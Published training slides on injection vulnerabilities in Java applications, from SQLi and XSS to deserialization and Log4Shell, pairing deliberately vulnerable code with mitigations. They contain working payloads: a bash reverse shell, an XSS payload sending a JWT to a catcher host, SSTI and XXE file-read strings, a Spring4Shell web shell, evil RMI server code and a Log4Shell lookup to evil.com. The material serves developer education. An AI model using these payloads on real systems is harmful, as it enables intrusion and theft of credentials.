# tl;dr These slides I've used for a private training on injection vulnerabilities for Java developers. I am publishing them as a simple reference for basic AppSec concepts and as a template for lazy penetration testers (like me) to create their own on-demand training materials for compliance or other reasons. --- # avoiding injection vulnerabilities (private training slides) --- # introduction to injection vulnerabilities core idea behind injection vulnerabilities (SQLi, NoSQLi, OS cmd, etc) ```j user input -> event -> function1 -> function2 \ ^ ^vuln^ \__________________/ ``` --- **sidenote:** event sources * Storage events * DB events * Kinesis events * API calls * Message queues * Emails, push, SMS, etc --- **sidenote:** file uploads - file names - processing files - storing files --- ## SQLi simple: ```java try { Class.forName(driver).newInstance(); conn = DriverManager.getConnection(url + dbName, userName, password); System.out.println("Connected to the database"); Statement st = conn.createStatement(); String query = "SELECT * FROM User where userid='" + user + "'"; ``` --- not simple: * hunting down every unparametrized request * making sure parametrization is correctly implemented * making sure it is not possible to modify the SQLR by tampering with JSON data * searching for second-order SQLi * making sure no functions that directly work with SQL are exposed to users --- ### Postgres SQLi demo - stacked queries almost always used - all usual SQLi exfiltration channels available - `pg_read_file`, `COPY ... TO ...`, and even RCE sometimes - quote filters can be bypassed with `CHR` or `
--- #### simple live SQLi exploitation *refer to casts/sqli.cast* --- #### data flow *from curl to PostgreSQL* ```bash "{\"username\":\"rick'; update users set password=md5('password') where username = 'rick' --\", \"password\":\"foo\"}" # cURL payload {"username":"rick'; update users set password=md5('password') where username = 'rick' --", "password":"foo"} # decoded data select * from users where username = 'rick'; update users set password=md5('password') where username = 'rick' -- ' limit 1 # database SQL ``` --- #### vulnerable code example *LoginController.java*: ```java ... snip ... @RequestMapping(value = "/login", method = RequestMethod.POST, produces = "application/json", consumes = "application/json") LoginResponse login(@RequestBody LoginRequest input) { User user = User.fetch(input.username); ... snip ... ``` --- *User.java*: ```java public static User fetch(String un) { Statement stmt = null; User user = null; try { ... snip ... String query = "select * from users where username = '" + un + "' limit 1"; ResultSet rs = stmt.executeQuery(query); ... snip ... ``` --- #### other exfiltration channels time-based: ```SQL select case when substring(column,1,1)='1' then pg_sleep(5) else pg_sleep(0) end from column_name limit 1 ``` boolean-based: ```text ' and substr(version(),1,10) = 'PostgreSQL' and '1 ' and substr(version(),1,10) = 'PostgreXXX' and '1 ``` --- error-based: ```SQL ,(CASE WHEN ((SELECT CAST(CHR(32)||(SELECT query_to_xml('select * from pg_user',true,true,'')) AS NUMERIC)='1')) THEN name ELSE note END) ``` ```text ERROR: invalid input syntax for type numeric: " <row xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"> <usename>postgres</usename> <usesysid>10</usesysid> <usecreatedb>true</usecreatedb> <usesuper>true</usesuper> <userepl>true</userepl> <usebypassrls>true</usebypassrls> <passwd>********</passwd> <valuntil xsi:nil="true"/> <useconfig xsi:nil="true"/> </row> ... snip ... ``` --- ### mitigations * input validation * surprisingly, code scanning may help here * ORMs/connectors that do not allow you to perform direct requests * not using direct requests at all (i.e. debug) in exposed environments --- **sidenote:** data flow/taint analysis * tracking untrusted user input * sources and sinks * reviewing everything it touches ```j json_req -> function1 -> function2 -> function3 ^vuln^ ``` --- ## NoSQLi *similar mechanisms, different techniques* * JSON-based (e.g. Mongo) ```json {"username": {"$ne": null}, "password": {"$ne": null}} ``` * Input-based ```js db.injection.insert({success:1}); ``` --- ### mitigations * request structure validation * user input validation * ORMs --- ## XSS ```js alert(document.cookie) ``` main types: - stored and rendered - file upload - reflected - DOM-based --- ### simple stored XSS: demo - simple stored XSS example - vulnerability has both backend and frontend parts (split responsibility) - will be found by any automated fuzzer, but still very often present --- #### exploitation demo ```html <img src="." onerror="$.get('http://localhost:8081/catcher?'+localStorage.jwt)"> ``` ```http $ nc -l 8081 OPTIONS /catcher?eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJyaWNrIn0.lLdv2SY2TWzzXVKSahFDWPLcUHwpXpjsLnhwo0ioRFM HTTP/1.1 Host: localhost:8081 Origin: http://localhost:1337 Access-Control-Request-Method: GET Content-Length: 0 Access-Control-Request-Headers: x-auth-token Connection: keep-alive Accept: */* User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.4 Safari/605.1.15 Referer: http://localhost:1337/ Accept-Language: en-GB,en;q=0.9 Accept-Encoding: gzip, deflate ``` --- #### data flow ```json {"username":"rick","body":"<img src=\".\" onerror=$.get('http://localhost:8081/catcher?'+localStorage.jwt)>\""} # request { "id": "d8c58b91-3e17-4fe1-9653-bd06e28783f9", "username": "rick", "body": "<img src=\".\" onerror=$.get('http://localhost:8081/catcher?'+localStorage.jwt)>\"", "created_on": "2022-09-21T14:31:35.505+0000" } # response rendered: <img src="." onerror="$.get('http://localhost:8081/catcher?'+localStorage.jwt)"> ``` --- #### vulnerable code example JS: ```js function fetchComments() { // JS $.get("http://localhost:8080/comments", function(data){ $('#comments-container').html('') data.forEach(function(comment){ if (comment.body.indexOf("<script>") < 0) { $("#comments-container").append(template(comment)); } }); setupDeleteCommentHandler(); }); } ``` --- Java: ```java @RequestMapping(value = "/comments", method = RequestMethod.POST, produces = "application/json", consumes = "application/json") // comment create request Comment createComment(@RequestHeader(value="x-auth-token") String token, @RequestBody CommentRequest input) { return Comment.create(input.username, input.body); } ``` --- ```java public static Comment create(String username, String body){ // comment create (.commit writes to DB) long time = new Date().getTime(); Timestamp timestamp = new Timestamp(time); Comment comment = new Comment(UUID.randomUUID().toString(), username, body, timestamp); try { if (comment.commit()) { return comment; } else { throw new BadRequest("Unable to save comment"); } } catch (Exception e) { throw new ServerError(e.getMessage()); } } ``` --- ## OS command injection simple example: ```java try { String comm = "cmd.exe /c dir "+user_path; Process process = Runtime.getRuntime().exec(comm); ``` --- surprisingly, not simple: * not using commands at all * not trusting blacklisting nor whitelisting * not trusting self-written string sanitization --- ### OS command injection: demo > [!note] I've yet to find an OS command injection with CVSS lower than 9. ```java processBuilder.command("bash", "-c", cmd); ``` --- #### exploitation demo ```SHELL $ curl "http://localhost:8080/cowsay?input=hello%27%20%7Cbash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F10.0.2.15%2F777%200%3E%261%20%23" ___ $ nc -lvnp 777 listening on [any] 777 ... connect to [10.0.2.15] from (UNKNOWN) [172.22.0.5] 37684 bash: cannot set terminal process group (1): Inappropriate ioctl for device bash: no job control in this shell root@7572cc50101f:/# id id uid=0(root) gid=0(root) groups=0(root) ``` --- #### data flow ```SHELL hello%27%20%7Cbash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F10.0.2.15%2F777%200%3E%261%20%23 ``` ```SHELL hello' |bash -i >& /dev/tcp/10.0.2.15/777 0>&1 # ``` ```SHELL /usr/games/cowsay 'hello' |bash -i >& /dev/tcp/10.0.2.15/777 0>&1 #' ``` --- #### vulnerable code example ```Java public class Cowsay { public static String run(String input) { ProcessBuilder processBuilder = new ProcessBuilder(); String cmd = "/usr/games/cowsay '" + input + "'"; System.out.println(cmd); processBuilder.command("bash", "-c", cmd); StringBuilder output = new StringBuilder(); try { Process process = processBuilder.start(); BufferedReader reader = new BufferedReader(new InputStreamReader(process.getInputStream())); String line; while ((line = reader.readLine()) != null) { output.append(line + "\n"); } } catch (Exception e) { e.printStackTrace(); } return output.toString(); } } ``` --- ### mitigation * every command call and dynamic code generation method is a ticking bomb and must be handled accordingly * same with every third-party component that does that --- ## SSTI beware of template languages: ```java ${T(java.lang.Runtime).getRuntime().exec('cat etc/passwd')} ``` --- * Expression Language - EL (used by JSF,JSP,CDI) ```java PARSER = new SpelExpressionParser(); String input = stdin.readLine(); Expression exp = PARSER.parseExpression(input); String result = exp.getValue().toString(); System.out.println(result); ``` ```j Enter a String to evaluate: {5*5} [25] ``` --- exploitation vectors: * blind detection (timing/external interaction) * RFI * RCE * authorization bypass --- * FreeMarker (outdated allows for sandbox escape) ```java <#assign classloader=article.class.protectionDomain.classLoader> <#assign owc=classloader.loadClass("freemarker.template.ObjectWrapper")> <#assign dwf=owc.getField("DEFAULT_WRAPPER").get(null)> <#assign ec=classloader.loadClass("freemarker.template.utility.Execute")> ${dwf.newInstance(ec,null)("id")} ``` --- * Velocity ```java #set($str=$class.inspect("java.lang.String").type) #set($chr=$class.inspect("java.lang.Character").type) #set($ex=$class.inspect("java.lang.Runtime").type.getRuntime().exec("whoami")) $ex.waitFor() #set($out=$ex.getInputStream()) #foreach($i in [1..$out.available()]) $str.valueOf($chr.toChars($out.read())) #end ``` --- * Thymeleaf (aside from special attributes, preprocessing can be abused to achieve code execution) ```java <a th:href="@{__${path}__}" th:title="${title}"> http://localhost:8082/(7*7) http://localhost:8082/(${T(java.lang.Runtime).getRuntime().exec('calc')}) ``` --- * Spring View Manipulation *credits: https://github.com/veracode-research/spring-view-manipulation* ```java __${T(java.lang.Runtime).getRuntime().exec("touch executed")}__::.x ``` * Pebble * Jinjava * Hubspot --- taint analysis sinks: * template processing * dynamic AST/code generation, dynamic compilation * components that eval templates or touch outside binaries that do (e.g. imagemagick, ffmpeg) --- ### mitigation * taint analysis, automated code scanning * user input sanitization * WAF --- ## directory traversal pseudocode example: ```python with open('/tmp/'+json_req["id"],'r') as f: process(f.read()) ``` --- **sidenote:** URLs ```python requests.get("https://url/api/object/{}".format(json_req["id"])) ``` turns into ```text GET /api/object/asd/../../admin/get_env HTTP/1.1 ``` --- ### mitigation - input validation - taint analysis - WAF --- ## anything-with-a-query-language injection * in general, treat executing string-based queries with caution * even the simplest query languages allow for some form of request tampering examples: connections strings, LDAP, XPath --- **case:** JSON IAM policy injection * application hosts Word documents on an S3 bucket * provides users with a URL with signed policy upon request * JSON treated as a string, injecting JSON chars into the URL allows to add claims ```java String policy = "{{'resource':'{}'}}"; // example sign(policy.format(document_name)); ``` --- # input processing vulnerabilities core idea behind input processing issues ```j user input -> decode -> process -> do stuff ^ vuln ^ ``` --- ## SSRF *issuing requests is dangerous, getting responses can be fatal* ``` POST /api/load?url=http://wherever.com HTTP/1.1 ``` --- non-trivial examples: * files with external links being processed * loading and caching images or other media * webhooks * external service interaction --- ### exploitation * IMDSv1: ```js http://169.254.169.254/latest/meta-data/iam/security-credentials/role-name ``` * Header information disclosure/implied authentication: ``` POST /evil HTTP/1.1 X-Auth: mysupersecrettoken ``` * Internal resources --- **case:** signing data * data signing API endpoint * undocumented; allows to load files from URLs * allows embedding the signature in file * allows reading arbitrary GET responses ```js return sign(load(data), key) ``` --- ### mitigation * validate all input to make sure URLs cannot make it through * know which functions of your code implicitly accept URLs * WAF --- ## XXE *XML has a lot of functions* ```java DocumentBuilder db = DocumentBuilderFactory.newInstance().newDocumentBuilder(); Document doc = db.parse(input); ``` VS ```java DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance(); dbf.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true); DocumentBuilder db = dbf.newDocumentBuilder(); Document doc = db.parse(input); ``` or ```java DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance(); dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true); DocumentBuilder db = dbf.newDocumentBuilder(); Document doc = db.parse(input); ``` --- **sidenote:** file read exploitation: ```xml <!--?xml version="1.0" ?--> <!DOCTYPE replace [<!ENTITY ent SYSTEM "file:///etc/passwd"> ]> <userInfo> <firstName>John</firstName> <lastName>&ent;</lastName> </userInfo> ``` --- **sidenote:** SSRF: ```xml <!DOCTYPE test [ <!ENTITY xxe SYSTEM "http://169.254.169.254/"> ]> ``` --- mitigation: * use secure XML parsers * alternatively, do not use XML, it is year 2021 after all --- ### XSLT *lab credits: https://github.com/eoftedal/deserialize* ```HTTP POST /api/contacts/1/html HTTP/1.1 Host: localhost Content-Type: application/xslt Accept: text/html Content-Length: 241 <?xml version="1.0" encoding="UTF-8" ?> <xsl:stylesheet version="2.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform"> <xsl:template match="/"> <xsl:value-of select="unparsed-text('/etc/passwd')"/> </xsl:template> </xsl:stylesheet> ``` --- code example: ```java @RequestMapping(value = " /{id}/html", method=RequestMethod.POST) @ResponseBody public final String format(@PathVariable int id, HttpEntity<String> xslt ){ Contact contact = contactRepository.get(id); try { String xml = Formatter.format(contact, xslt.getBody()); return xml; } catch(Exception ex) { return ex.getMessage(); } } ``` --- ```java public class Formatter { public static String format(Contact contact, String xslt) throws Exception { System.out.println(xslt); XStream xstream = new XStream(); xstream.alias("contact", Contact.class); Path path = Paths.get("./doc.xslt"); Files.write(path, xslt.getBytes()); TraxSource traxSource = new TraxSource(contact, xstream); Writer buffer = new StringWriter(); Transformer transformer = TransformerFactory.newInstance().newTransformer( new StreamSource(path.toFile())); transformer.transform(traxSource, new StreamResult(buffer)); return buffer.toString(); } } ``` --- ## insecure deserialization and class injection *the bane of Java applications* ```bash root@kali# java -jar ysoserial.jar CommonsCollections1 calc.exe | xxd ``` --- possible sources: * Java object deserialization or similar libraries that allow dynamic objects * XML protocols or other means of data transfer that allow dynamic data --- simplest examples: ```j data -> deserializer data -> formatted string -> deserializer weak tokens -> signature forgery -> deserialization ``` --- *not only rO0* - XML, as in Apache Struts 2 RCE - in general, any dynamic object builders - dynamically loaded files, combined with a write vulnerability - in general, any dynamic code execution --- ### simple deserialization exploitation demo *lab: https://github.com/vulhub/vulhub/tree/master/mojarra/jsf-viewstate-deserialization* *refer to casts/deserialization.cast* *gadget structure https://gist.github.com/frohoff/24af7913611f8406eaf3* --- ### XML deserialization request example: ```HTTP POST /api/contacts HTTP/1.1 Host: localhost Content-Type: application/xml Accept: application/xml <dynamic-proxy> <interface>org.insecurelabs.api.contacts.Contact</interface> <handler class="java.beans.EventHandler"> <target class="java.lang.ProcessBuilder"> <command><string>/usr/bin/curl</string><string>http://[yourid].burpcollaborator.net</string></command> </target> <action>start</action> </handler> </dynamic-proxy> ``` *more at http://www.pwntester.com/blog/2013/12/23/rce-via-xstream-object-deserialization38/* --- ### Spring4Shell as a class injection example *credit: LunaSec https://www.lunasec.io/docs/blog/spring-rce-vulnerabilities/* ```SHELL $ curl 'http://localhost:8080/spring4shell?class.module.classLoader.resources.context.parent.pipeline.first.pattern=test' $ # wait, what? ``` --- ModelAttribute example: ```java public class Greeting { private long id; public long getId() { return id; } public void setId(long id) { this.id = id; } } @Controller public class HelloController { @PostMapping("/greeting") public String greetingSubmit(@ModelAttribute Greeting greeting, Model model) { return "hello"; } } ``` --- Class injection exploitation example: ```java class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bprefix%7Di%20java.io.InputStream%20in%20%3D%20%25%7Bc%7Di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%25%7Bsuffix%7Di class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT class.module.classLoader.resources.context.parent.pipeline.first.prefix=shell class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat= ``` --- a series of requests result in creation of `shell.jsp` log with the following logging pattern: ```java %{prefix}i java.io.InputStream in = %{c}i.getRuntime().exec(request.getParameter("cmd")).getInputStream(); int a = -1; byte[] b = new byte[2048]; while((a=in.read(b))!=-1){ out.println(new String(b)); } %{suffix}i ``` ```shell curl http://localhost:8080/shell.jsp?cmd=whoami ``` --- mitigation: * do not use deserialization * do not ever allow passing serialized data as arguments * research how your parsers treat object creation, metadata and language extensions * validate user input --- # JNDI injection *and a brief Log4Shell case study* > [!NOTE] The only risk level higher than CVSS 10.0 is having a logo and a Wiki article for a vulnerability. --- ## what is JNDI again? *boring and long definition*: ```text Java Naming and Directory Interface (JNDI) is a Java API that allows clients to discover and look up data and objects via a name. These objects can be stored in different naming or directory services, such as Remote Method Invocation (RMI), Common Object Request Broker Architecture (CORBA), Lightweight Directory Access Protocol (LDAP), or Domain Name Service (DNS). ``` --- URL examples: ``` ldap://localhost:389/cn=homedir,cn=Me,ou=People,o=JNDIExample rmi://localhost:1234/neohope/jndi/test01 ``` --- ## JNDI injections in the past *nice sum-up articles/presentations*: - https://www.veracode.com/blog/research/exploiting-jndi-injections-java - https://www.blackhat.com/docs/us-16/materials/us-16-Munoz-A-Journey-From-JNDI-LDAP-Manipulation-To-RCE-wp.pdf --- ### offensive use of JNDI - **InitialContext.lookup** sink to RCE - deserialization gadget - unsafe reflection --- ### pre-JDK 1.8.0_121 core mechanism: ```j JNDI URL -> javax.naming.Reference instance -> unknown classFactory and attacker-controlled classFactoryLocation -> URLClassLoader -> RCE ``` --- **vulnerable** example: ```java @RequestMapping("/lookup") @Example(uri = {"/lookup?name=java:comp/env"}) public Object lookup(@RequestParam String name) throws Exception{ return new javax.naming.InitialContext().lookup(name); } ``` --- ```java public class EvilRMIServer { public static void main(String[] args) throws Exception { System.out.println("Creating evil RMI registry on port 1097"); Registry registry = LocateRegistry.createRegistry(1097); //creating a reference with 'ExportObject' factory with the factory location of 'http://_attacker.com_/' Reference ref = new javax.naming.Reference("ExportObject","ExportObject","http://_attacker.com_/"); ReferenceWrapper referenceWrapper = new com.sun.jndi.rmi.registry.ReferenceWrapper(ref); registry.bind("Object", referenceWrapper); } } ``` --- ### pre-CVE-2018-3149 - LDAP instead of RMI - the same mechanism - how *not* to fix a vulnerability --- ### JDK 1.8.0_191+ - classFactoryLocation not used anymore - javaFactory can still be attacker-controlled - javaFactory is used to extract javax.naming.Reference --- Tomcat exploitation example: ```j JNDI URL -> javax.naming.Reference instance -> BeanFactory -> Reference to ELProcessor with a redefined setter -> eval arbitrary string ``` --- exploit example: ```java import java.rmi.registry.*; import com.sun.jndi.rmi.registry.*; import javax.naming.*; import org.apache.naming.ResourceRef; public class EvilRMIServerNew { public static void main(String[] args) throws Exception { System.out.println("Creating evil RMI registry on port 1097"); Registry registry = LocateRegistry.createRegistry(1097); //prepare payload that exploits unsafe reflection in org.apache.naming.factory.BeanFactory ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true,"org.apache.naming.factory.BeanFactory",null); //redefine a setter name for the 'x' property from 'setX' to 'eval', see BeanFactory.getObjectInstance code ref.add(new StringRefAddr("forceString", "x=eval")); //expression language to execute 'nslookup jndi.s.artsploit.com', modify /bin/sh to cmd.exe if you target windows ref.add(new StringRefAddr("x", "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](['/bin/sh','-c','nslookup jndi.s.artsploit.com']).start()\")")); ReferenceWrapper referenceWrapper = new com.sun.jndi.rmi.registry.ReferenceWrapper(ref); registry.bind("Object", referenceWrapper); } } ``` --- ### configuring JNDI - whitelisting hosts - whitelisting class names and factory names - restricting JNDI URL protocols --- ## Log4shell *a lot of people talked about this -- https://github.com/snyk-labs/awesome-log4shell* ``` ${jndi:ldap://evil.com:1389/a} in ALL fields! ``` --- ### underlying mechanism - log4j could do JNDI lookups all along - no gadget required, javaCodeBase+javaFactory in LDAP --- ### vulnerable application example ```java @RestController public class MainController { private static final Logger logger = LogManager.getLogger("HelloWorld"); @GetMapping("/") public String index(@RequestHeader("X-Api-Version") String apiVersion) { logger.info("Received a request for API version " + apiVersion); return "Hello, world!"; } } ``` --- ### exploitation ```java log.info("${jndi:ldap://evil.com:1389/a}") ``` ```SHELL ~ ldapsearch -x -H ldap://patch.log4shell.com:1389 # extended LDIF # # LDAPv3 # base <> (default) with scope subtree # filter: (objectclass=*) # requesting: ALL # # dn:: Y249bG9nNHNoZWxsLWhvdHBhdGNoLCA= cn: log4shell-hotpatch javaClassName: attempting to patch Log4Shell vulnerability with payload hosted on: http://patch.log4shell.com:80/Log4ShellHotpatch.class javaCodeBase: http://patch.log4shell.com:80/ objectclass: javaNamingReference javaFactory: Log4ShellHotpatch # search result search: 2 result: 0 Success # numResponses: 2 # numEntries: 1 ``` --- ```URL http://patch.log4shell.com:80/Log4ShellHotpatch.class ``` ```java public class Log4ShellHotpatch implements ObjectFactory { @Override public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) { /* payload */ } } ``` --- ### hour-one mitigations - https://github.com/apache/logging-log4j2/compare/rel/2.14.1...rel/2.15.0 - limits JNDI classes and protocols - limits trusted hosts to load classes from - `ENV LOG4J_FORMAT_MSG_NO_LOOKUPS true` - `%m{nolookups}` --- ### patch bypasses - JNDI still usable, so DoS was found (boring) and subsequently escalated to RCE (not boring) - `LOG4J_FORMAT_MSG_NO_LOOKUPS` and `%m{nolookups}` bypassed via altering the thread context (e.g. `${ctx:apiversion}`) in some cases - host verification bypassed with `127.0.0.1#evil.com` --- ### post-patch vulnerable code example ```java @GetMapping("/") public String index(@RequestHeader("X-Api-Version") String apiVersion) { // Add user controlled input to threadcontext; // Used in log via ${ctx:apiversion} ThreadContext.put("apiversion", apiVersion); // Notice how these changes remove apiVersion from directly being logged logger.info("Received a request for API version"); return "Hello, world!"; } ``` --- ### JDBC JNDI injection another JNDI injection was subsequently discovered: *screenshot redacted* --- ### lessons learned (code) - JNDI is disabled by default - host verification checks made consistent - ~~remote class loading has never occured again~~ --- ### lessons learned (massive-scale RCE) - Twitter PoC to active exploitation takes a couple of hours - Application-level log analysis incident response is rarely done correctly - Waiting for a CVE to be assigned and a patch released often takes too long - Surprisingly, **proper network configuration** saved some applications --- # conclusions - Injection vulnerabilities will thrive for years to come despite framework/library countermeasures - Any place where a request is built from a string could be a vulnerability - Automated data flow analysis is good at injections, but not perfect - Secure coding principles are better derived from real-world mistakes --- # questions `if you have any`